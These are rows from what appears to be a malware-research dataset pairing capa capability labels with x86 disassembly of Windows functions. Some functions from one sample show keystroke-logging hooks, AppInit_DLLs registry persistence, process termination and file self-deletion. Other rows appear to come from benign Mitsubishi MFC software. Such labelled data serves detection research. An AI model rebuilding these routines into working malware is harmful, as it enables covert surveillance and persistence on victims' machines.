joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402724
Capabilities:
Get file size

Disassembly:
push ebx
push esi
xor esi, esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402757
push 0
push ebx
call sub.kernel32.dll_GetFileSize
mov esi, eax
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, esi
pop esi
pop ebx
ret

Function at 0x40275c
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
mov eax, esi
call fcn.004026fc
test al, al
jne 0x402780
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x402788
Capabilities:
Create process on windows
Set file attributes

Disassembly:
push ebx
push esi
add esp, 0xfffff9f8
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.004026fc
cmp al, 1
jne 0x40298a
push 0x402998
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA
push 1
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 0x402998
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA
call sub.kernel32.dll_GetTickCount
push 1
call sub.kernel32.dll_Sleep
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA
push 0x80
push esi
call sub.kernel32.dll_SetFileAttributesA
push 0x40299c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcmpA
push 1
lea eax, [esp + 0x20c]
push eax
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_RtlMoveMemory
push 0x402998
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA
push 0x40299c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcmpiA
push 1
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_RtlZeroMemory
mov eax, esi
call fcn.00402724
push 0x4029a0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount
mov dword [esp], eax
push esp
push 0x4029a8
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029ac
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 0x104]
call fcn.0040275c
cmp al, 1
jne 0x40298a
push 0x4029b4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x4029c0
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029c8
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029d4
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029ec
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029fc
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 1
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_lstrlenA
mov ecx, eax
lea edx, [esp + 0x210]
lea eax, [esp + 0x10c]
call fcn.00402a3c
push 0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
mov eax, ebx
add esp, 0x608
pop esi
pop ebx
ret
Function at 0x402a3c
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ebx
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402ab0
cmp byte [ebp + 8], 1
jne 0x402a8e
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402a9c
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402abc
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
xor edx, edx
mov dword [ebp - 4], edx
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push eax
call sub.kernel32.dll_CreateFileA
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402b23
cmp byte [ebp + 8], 1
jne 0x402b01
push 2
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
jmp 0x402b0f
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push ebx
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
push edi
push esi
push ebx
call sub.kernel32.dll_ReadFile
push ebx
call sub.kernel32.dll_CloseHandle
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 8

Function at 0x402b30
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
push 0x80
push ebx
call sub.kernel32.dll_SetFileAttributesA
push ebx
mov eax, dword [ebp - 4]
push eax
push edi
push esi
call sub.kernel32.dll_WritePrivateProfileStringA
cmp eax, 1
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402bb0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push ebx
call sub.kernel32.dll_lstrlenA
push eax
push ebx
push 1
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x402bf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, ecx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyA
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExA
mov ebx, eax
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
pop ebx
pop ecx
pop ebp
ret 4
Function at 0x402d08
Capabilities:
Resolve dns

Disassembly:
push ebx
xor ebx, ebx
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x402d1c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ebx, dword [eax]
mov eax, ebx
pop ebx
ret
Function at 0x403b64
Capabilities:
Log keystrokes via application hook

Disassembly:
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403b24
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x407128], eax
push 0
push 0x406910
call sub.kernel32.dll_GetModuleHandleA
push eax
push 0x403b44
push 7
call sub.user32.dll_SetWindowsHookExA
mov dword [0x40712c], eax
ret

Function at 0x403bd0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x403bd8
mov eax, dword [esp + 0x2000]
add esp, 0xffffff84
mov edx, 0x403c54
mov eax, dword [0x4066f8]
call fcn.00402670
mov eax, esp
mov edx, 0x2080
call fcn.00402e70
push 0x403c68
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA_1
mov esi, 1
mov ebx, esp
mov eax, ebx
xor edx, edx
call fcn.00402578
test eax, eax
jbe 0x403c3f
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
push 0
push eax
call sub.kernel32.dll_TerminateProcess
add ebx, 0x104
dec esi
jne 0x403c1d
add esp, 0x2080
pop esi
pop ebx
ret

Function at 0x403c74
Capabilities:
Persist via appinit_dlls registry key

Disassembly:
push ebx
add esp, 0xfffffe00
mov ebx, esp
push 0x403d9c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x407028
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x403da4
push ebx
call sub.kernel32.dll_lstrcatA_1
push 0x406a14
mov ecx, 0x403db4
mov edx, ebx
mov eax, 0x80000000
call fcn.00402bb0
push 0x403db8
mov ecx, 0x403dc4
mov edx, ebx
mov eax, 0x80000000
call fcn.00402bb0
push 0x403dd4
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x407028
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bb0
push 0x403e1c
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x406910
mov ecx, 0x403e54
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bb0
push 0x403e64
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 1
mov ecx, 0x403e9c
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf0
push 1
mov ecx, 0x403eac
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf0
push 0x403eb8
push ebx
call sub.kernel32.dll_lstrcpyA_1
push 0x403f14
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA_1
push 0x403f1c
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0x403f24
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA_1
push 0
lea ecx, [esp + 0x104]
mov edx, ebx
mov eax, 0x80000002
call fcn.00402bf0
add esp, 0x200
pop ebx
ret
Function at 0x64a11720
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x64a1f814
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, ecx
push edi
xor edi, edi
lea ebx, [esi + 0x30]
mov ecx, ebx
mov dword [esp + 0x10], esi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ebp, [esi + 0x34]
mov ecx, ebp
mov dword [esp + 0x4c], edi
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ecx, [esi + 0x48]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea eax, [esp + 0x14]
push eax
mov ecx, esi
mov byte [esp + 0x50], 2
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
call fcn.64a112d0
push 0x64a267e8
mov ecx, ebx
call dword [0x64a262c0]
mov ecx, ebp
call dword [sym.imp.MFC71U.DLL_CRichEditView::EditStreamCallBack]
lea ecx, [esi + 0x48]
mov dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x3c], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
call dword [sym.imp.MFC71U.DLL_CRichEditView::EditStreamCallBack]
mov ecx, dword [esp + 0x44]
mov dword [esi + 0x4c], edi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x40
ret
Function at 0x64a11820
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x64a1f87d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea edi, [esi + 4]
mov ecx, edi
mov dword [esp + 0x1c], 0
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ebx, [esi + 0x10]
mov ecx, ebx
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ebp, [esi + 0x14]
mov ecx, ebp
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ecx, [esi + 0x18]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ecx, [esi + 0x1c]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ecx, [esi + 0x28]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
lea ecx, [esi + 0x30]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
push 0x64a267e8
mov ecx, esi
mov byte [esp + 0x20], 7
call dword [0x64a262c0]
push 0x64a267e8
mov ecx, edi
call dword [0x64a262c0]
xor edi, edi
push 0x64a267e8
mov ecx, ebx
mov dword [esi + 8], edi
mov dword [esi + 0xc], edi
call dword [0x64a262c0]
push 0x64a267e8
mov ecx, ebp
call dword [0x64a262c0]
push 0x64a267e8
lea ecx, [esi + 0x18]
call dword [0x64a262c0]
push 0x64a267e8
lea ecx, [esi + 0x1c]
call dword [0x64a262c0]
push 0x64a267e8
lea ecx, [esi + 0x28]
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
call dword [0x64a262c0]
push 0x64a267e8
lea ecx, [esi + 0x30]
call dword [0x64a262c0]
mov ecx, dword [esp + 0x14]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x64a11d80
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x64a1f8c7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x90
mov eax, dword [0x64a2ec00]
xor eax, esp
push esi
mov esi, ecx
mov dword [esp + 0x90], eax
lea ecx, [esp + 8]
call fcn.64a1ab20
lea ecx, [esp + 4]
mov dword [esp + 0x9c], 0
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
push 0x2768
lea ecx, [esp + 8]
mov byte [esp + 0xa0], 1
call dword [sym.imp.MFC71U.DLL_CWinApp::LoadStdProfileSettings]
lea ecx, [esp + 4]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.MSVCR71.dll_wcscpy]
mov eax, dword [esi + 0xc8]
add esp, 8
lea edx, [esp + 0xc]
push edx
push 3
push 0x1061
lea ecx, [esp + 0x38]
push eax
mov dword [esp + 0x1c], 6
mov dword [esp + 0x24], 0x64
mov dword [esp + 0x28], ecx
call dword [sym.imp.USER32.dll_SendMessageW]
lea ecx, [esp + 4]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
lea ecx, [esp + 8]
mov dword [esp + 0x9c], 0xffffffff
call fcn.64a1ab50
mov ecx, dword [esp + 0x94]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x90]
pop esi
xor ecx, esp
call fcn.64a1ef69
add esp, 0x9c
ret
Function at 0x64a123e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64a1f9b9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
push edi
xor edi, edi
mov ecx, esi
mov dword [esp + 8], edi
call dword [sym.imp.MFC71U.DLL_CWinThread::GetMainWnd]
push eax
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_3]
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x24]
mov ecx, edi
call dword [sym.imp.MFC71U.DLL_CHtmlView::GetLeft]
push eax
mov ecx, edi
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_CHtmlView::GetLeft]
push eax
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.MFC71U.DLL_CPreviewDC::ComputeDeltas]
mov esi, dword [esp + 0x30]
add esp, 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
lea ecx, [esp + 8]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x64a12480
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64a1f9b9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
push edi
xor edi, edi
mov ecx, esi
mov dword [esp + 8], edi
call dword [sym.imp.MFC71U.DLL_CWinThread::GetMainWnd]
push eax
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_3]
mov dword [esp + 0x14], edi
mov edi, dword [esp + 0x24]
push edi
call dword [sym.imp.MFC71U.DLL_CDockContext::Stretch]
add esp, 4
push eax
push edi
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_CHtmlView::GetLeft]
push eax
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::operator_class_ATL::CSimpleStringT_]
push eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.MFC71U.DLL_CPreviewDC::ComputeDeltas]
mov esi, dword [esp + 0x30]
add esp, 0x14
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
lea ecx, [esp + 8]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x64a12f40
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64a1fac8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, dword [esp + 0x1c]
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.64a112d0
lea eax, [edi + 0x30]
push eax
lea ecx, [esi + 0x30]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
lea ecx, [edi + 0x34]
push ecx
lea ecx, [esi + 0x34]
mov dword [esp + 0x18], 0
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
mov edx, dword [edi + 0x38]
mov dword [esi + 0x38], edx
mov eax, dword [edi + 0x3c]
mov dword [esi + 0x3c], eax
mov ecx, dword [edi + 0x40]
mov dword [esi + 0x40], ecx
mov edx, dword [edi + 0x44]
lea eax, [edi + 0x48]
push eax
lea ecx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [esi + 0x44], edx
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
mov ecx, dword [edi + 0x4c]
mov dword [esi + 0x4c], ecx
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4
Function at 0x64a133b0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64a1fbbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x78
push ebx
push esi
xor esi, esi
push edi
mov edi, ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x50], esi
call fcn.64a1ab20
lea ecx, [esp + 0x1c]
mov dword [esp + 0x8c], esi
call fcn.64a11550
lea eax, [esp + 0x1c]
push eax
sub esp, 0x30
lea edx, [edi + 0x78]
mov dword [esp + 0x44], esp
mov ecx, esp
push edx
mov byte [esp + 0xc4], 1
call fcn.64a112d0
mov ecx, dword [edi + 0x74]
mov ebx, dword [sym.imp.GD2Ctrl.dll_public:_unsigned_long_int___thiscall_CGD2ComUICtrl::GetPLCSeries_struct_STOBJECTID__struct__STPLCSERIES__]
call ebx
lea ecx, [esp + 0x14]
call fcn.64a11550
mov ecx, dword [edi + 0x74]
lea eax, [esp + 0x54]
push eax
mov byte [esp + 0x90], 2
call dword [sym.imp.GD2Ctrl.dll_public:_struct_STOBJECTID___thiscall_CGD2ComUICtrl::GetCurrentProjectID_void_]
push eax
lea ecx, [esp + 0x28]
call fcn.64a112d0
lea ecx, [esp + 0x14]
push ecx
sub esp, 0x30
lea edx, [esp + 0x58]
mov dword [esp + 0x44], esp
mov ecx, esp
push edx
call fcn.64a112d0
mov ecx, dword [edi + 0x74]
call ebx
mov eax, dword [esp + 0x14]
cmp eax, esi
mov ecx, dword [esp + 0x1c]
je 0x64a13511
cmp ecx, 3
je 0x64a134a3
cmp ecx, 9
je 0x64a134a3
cmp ecx, 2
jne 0x64a134b2
cmp eax, 3
je 0x64a134bd
cmp eax, 9
je 0x64a134bd
cmp eax, 2
je 0x64a134bd
push 0xffffffffffffffff
push 0x40
push 0x276b
jmp 0x64a134ca
cmp ecx, eax
je 0x64a13511
push 0xffffffffffffffff
push 0x40
push 0x276c
call sub.MFC71U.DLL_AfxMergeMenus
lea ecx, [esp + 0x18]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
lea ecx, [esp + 0x20]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
lea ecx, [esp + 0xc]
mov dword [esp + 0x8c], 0xffffffff
call fcn.64a1ab50
xor eax, eax
mov ecx, dword [esp + 0x84]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x84
ret
mov dword [edi + 0x208], ecx
lea ecx, [esp + 0x18]
mov dword [edi + 0x20c], eax
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
lea ecx, [esp + 0x20]
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
lea ecx, [esp + 0xc]
mov dword [esp + 0x8c], 0xffffffff
call fcn.64a1ab50
mov ecx, dword [esp + 0x84]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x84
ret
Function at 0x64a1a2a0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x64a20422
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebp
push esi
mov esi, ecx
push edi
lea ecx, [esp + 0xc]
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT]
mov ecx, dword [esi + 0x124]
mov eax, dword [esi + 0x100]
mov ebp, dword [sym.imp.USER32.dll_SendMessageW]
push 0
push 9
push 0x110a
push ecx
mov dword [esp + 0x30], 0
mov dword [esp + 0x24], eax
mov dword [esi + 0x210], 1
call ebp
mov edi, eax
test edi, edi
je 0x64a1a368
mov edx, dword [esi + 0x124]
push edi
push 3
push 0x110a
push edx
call ebp
test eax, eax
push edi
je 0x64a1a361
lea eax, [esp + 0x14]
push eax
lea ecx, [esi + 0x104]
call sub.MFC71U.DLL_CListCtrl::GetItemText
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x24], 1
call dword [0x64a262e0]
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x14], esp
push edx
call dword [sym.imp.MFC71U.DLL_ATL::CStringT::CStringT_2]
mov ecx, esi
call sym.GD2ComUIProgram.dll_public:_int___thiscall_CGD2ComUIDataCouplingDlg::CopyOneItem_class_ATL::CStringT_wchar_t__class_StrTraitMFC_DLL_wchar_t__class_ATL::ChTraitsCRT_wchar_t____
jmp 0x64a1a368
mov ecx, esi
call sym.GD2ComUIProgram.dll_public:_void___thiscall_CGD2ComUIDataCouplingDlg::CopyAllChildItems_struct__TREEITEM__
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xc]
mov dword [esi + 0x100], eax
call dword [sym.imp.MFC71U.DLL_ATL::CSimpleStringT::CSimpleStringT]
mov ecx, dword [esp + 0x18]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x18
ret
Function at 0x64a1ab60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x624
mov eax, dword [0x64a2ec00]
mov ecx, dword [ebp + 0xc]
xor eax, ebp
cmp ecx, 1
push ebx
push esi
mov dword [esp + 0x628], eax
mov eax, dword [ebp + 8]
push edi
jne 0x64a1ad0b
push eax
push 0x64a2ec9c
call sub.MFC71U.DLL_AfxHtmlHelp
test eax, eax
jne 0x64a1abb2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x620]
xor ecx, ebp
call fcn.64a1ef69
mov esp, ebp
pop ebp
ret 0xc
push 0x40
call sub.MFC71U.DLL_CWordArray::CWordArray
xor ebx, ebx
add esp, 4
cmp eax, ebx
je 0x64a1abcf
push ebx
push 0x64a2ec9c
mov ecx, eax
call sub.MFC71U.DLL_CDWordArray::CDWordArray
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov eax, 4
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x10]
push eax
push 0x20019
push ebx
push str.SOFTWAREMITSUBISHISWnDN_GPPW2App
mov edi, 0x4e4
push 0x80000001
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], edi
call esi
test eax, eax
je 0x64a1ac25
lea eax, [esp + 0x10]
push eax
push 0x20019
push ebx
push str.SOFTWAREMITSUBISHISWnDN_GPPW2StartupApp
push 0x80000002
call esi
test eax, eax
jne 0x64a1ac5a
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
push str.CodePage
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [esp + 0x10]
push edx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, ebx
je 0x64a1ac5a
mov dword [esp + 0x14], edi
xor eax, eax
mov word [esp + 0x220], bx
mov ecx, 0x7f
lea edi, [esp + 0x222]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x420], bx
mov ecx, 0x81
lea edi, [esp + 0x422]
rep stosd dword es:[edi], eax
mov ecx, dword [0x64a2eca0]
stosw word es:[edi], ax
push 0x104
lea eax, [esp + 0x424]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor eax, eax
mov word [esp + 0x20], bx
mov ecx, 0x7f
lea edi, [esp + 0x22]
rep stosd dword es:[edi], eax
push ebx
lea edx, [esp + 0x24]
push edx
push ebx
stosw word es:[edi], ax
lea eax, [esp + 0x42c]
push ebx
push eax
call dword [sym.imp.MSVCR71.dll__wsplitpath]
mov ecx, dword [esp + 0x28]
push ecx
lea edx, [esp + 0x38]
push edx
push str._s_RC__d.dll
lea eax, [esp + 0x240]
push 0x100
push eax
call dword [sym.imp.MSVCR71.dll__snwprintf]
add esp, 0x28
lea ecx, [esp + 0x220]
push ecx
call sub.MFC71U.DLL_AfxLoadLangResourceDLL
mov dword [0x64a2ecb0], eax
jmp 0x64a1ad31
xor ebx, ebx
cmp ecx, ebx
jne 0x64a1ad31
mov eax, dword [0x64a2ecb0]
cmp eax, ebx
je 0x64a1ad26
push eax
call sub.MFC71U.DLL_AfxFormatStrings
mov dword [0x64a2ecb0], ebx
push ebx
push 0x64a2ec9c
call sub.MFC71U.DLL_AfxStringFromCLSID
mov ecx, dword [esp + 0x62c]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.64a1ef69
mov esp, ebp
pop ebp
ret 0xc